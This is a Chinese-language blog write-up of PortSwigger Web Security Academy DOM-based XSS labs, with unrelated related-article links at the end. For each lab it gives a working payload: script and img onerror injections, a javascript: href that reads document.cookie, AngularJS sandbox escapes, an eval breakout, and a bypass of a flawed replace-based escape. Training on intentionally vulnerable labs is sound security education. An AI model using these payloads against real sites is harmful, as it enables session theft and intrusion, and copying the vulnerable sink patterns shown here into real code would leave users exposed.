Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS
- Portswigger web security academy:DOM Based XSS
- DOM XSS in document.write sink using source location.search
- DOM XSS in document.write sink using source location.search inside a select element
- DOM XSS in innerHTML sink using source location.search
- DOM XSS in jQuery anchor href attribute sink using location.search source
- DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
- Reflected DOM XSS
- Stored DOM XSS
DOM XSS in document.write
sink using source location.search
题目描述
搜索功能点调用了
document.write
函数,借此函数调用alert
解题步骤
看着语句写payload
asd"><script>alert()</script><"
DOM XSS in document.write
sink using source location.search
inside a select element
题目描述
使用
document.write
调用alert
,document.write
会从location.search
获取参数,且参数可控,但参数被select element
包围了解题步骤
可以看到这里的
storeId
是从URL获取的,而且被<option></option>
包围构造payload:
&storeId=<script>alert()</script>
DOM XSS in innerHTML
sink using source location.search
题目描述
这道题的搜索功能点会使用
innerHTML
来修改一个div
标签,参数取自location.search
,调用alert
即可解题过程
可以看到这里把url里的
search
参数写到了HTML里构造payload:
search=<img+src=x+onerror=alert()>
DOM XSS in jQuery anchor href
attribute sink using location.search
source
题目描述
在提交反馈的页面里用到了
jQuery
来修改一个锚的属性,参数取自location.search
,要求alert(document.cookie)
解题步骤
这里和题目描述一样
构造payload:
returnPath=javascript:alert(document.cookie)
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
题目描述
这道题用到了
AngularJS
,涉及到一个知识点当标签有
ng-app
属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>
要求运行一个``AngularJS
的表达式调用
alert`解题步骤
看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍
payload:
{{constructor.constructor('alert(1)')()}}
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
官方solution的payload:
{{$on.constructor('alert(1)')()}}
参考
Reflected DOM XSS
题目描述
和题目的意思一样,这是个反射型+DOM型的xss
调用
alert
函数即可解题过程
在搜索功能点发现了
eval
函数关键代码
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", "/search-results" + window.location.search);
xhr.send();
这里涉及一个知识点:
eval('xxx'+alert())
也会弹窗返回值格式为:
{"searchTerm":"xxx","results":[]}
,但是添加引号会被后台转义(添加\
)构造payload:
\"+alert()}//
(减号也可以)
\"-alert()}//
Stored DOM XSS
题目描述
评论功能点有存储型dom-xss,调用
alert
函数即可解题过程
关键代码
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
注意这里的
escapeHTML
函数的定义,使用了replace
函数,js的replace
函数有个特性,只会替换最开始出现的一个字符,所以构造payload:
<><img src=x onerror=alert()>
Portswigger web security academy:DOM Based XSS的更多相关文章
- Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- CVE-2017-7504-JBoss JMXInvokerServlet 反序列化
漏洞分析 https://paper.seebug.org/312/ 漏洞原理 这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的 ...
- BIMFACE二次开发【C#系列】
本系列文章主要介绍使用 C# .ASP.NET(MVC)技术对 BIMFACE 平台进行二次开发,以满足本公司针对建筑行业施工图审查系统的业务需求,例如图纸模型(PDF 文件.二维 CAD 模型.三维 ...
- slickgrid ( nsunleo-slickgrid ) 5 增加子件
slickgrid ( nsunleo-slickgrid ) 5 增加子件 上次把单元格切换的问题解决了,这次要最做的事情就是给slickgrid的treegird增加子件,我们先选中某一条记录,然 ...
- python基础学习之元组和字典的功能方法
什么是元组?(tuple) emmmmmm,这个没必要深究吧,就是一排'元素',一行 格式: a = (1,2,3,4,5,6,7,8,9)用小括号表示的,极为元组. 其有序,且不可更改,可以对比st ...
- Excel老式技术
Excel老式技术 VBS宏脚本嵌入明文代码
- Nodejs学习笔记(3) 创建服务器:Web 模块(http)与 express 框架
目录 参考资料 1. 使用 http 模块创建服务器 1.1 实现思路及代码 1.2 HTTP 结构 1.2.1 Request中的重要字段 1.2.2 Response 头信息:文件类型.状态码.连 ...
- 一个名叫Sentinel-Rules-SDK的组件,使得Sentinel的流控&熔断规则的配置更加方便
原文链接:一个名叫Sentinel-Rules-SDK的组件,使得Sentinel的流控&熔断规则的配置更加方便 1 Sentinel 是什么? 随着微服务的流行,服务和服务之间的稳定性变得越 ...
- 使用命令行编译Qt程序
code[class*="language-"], pre[class*="language-"] { color: rgba(51, 51, 51, 1); ...
- 详解 ZooKeeper 数据持久化
本文作者:HelloGitHub-老荀 Hi,这里是 HelloGitHub 推出的 HelloZooKeeper 系列,免费开源.有趣.入门级的 ZooKeeper 教程,面向有编程基础的新手. 项 ...
- python基础之基本数据类型与基本运算符
一.基本数据类型 1.整数类型 作用:描述年龄.等级,电话号码等数据类型 age = 18 phone_number = 13572839204 2.浮点型 作用:描述薪资.身高等带小数的类型 hei ...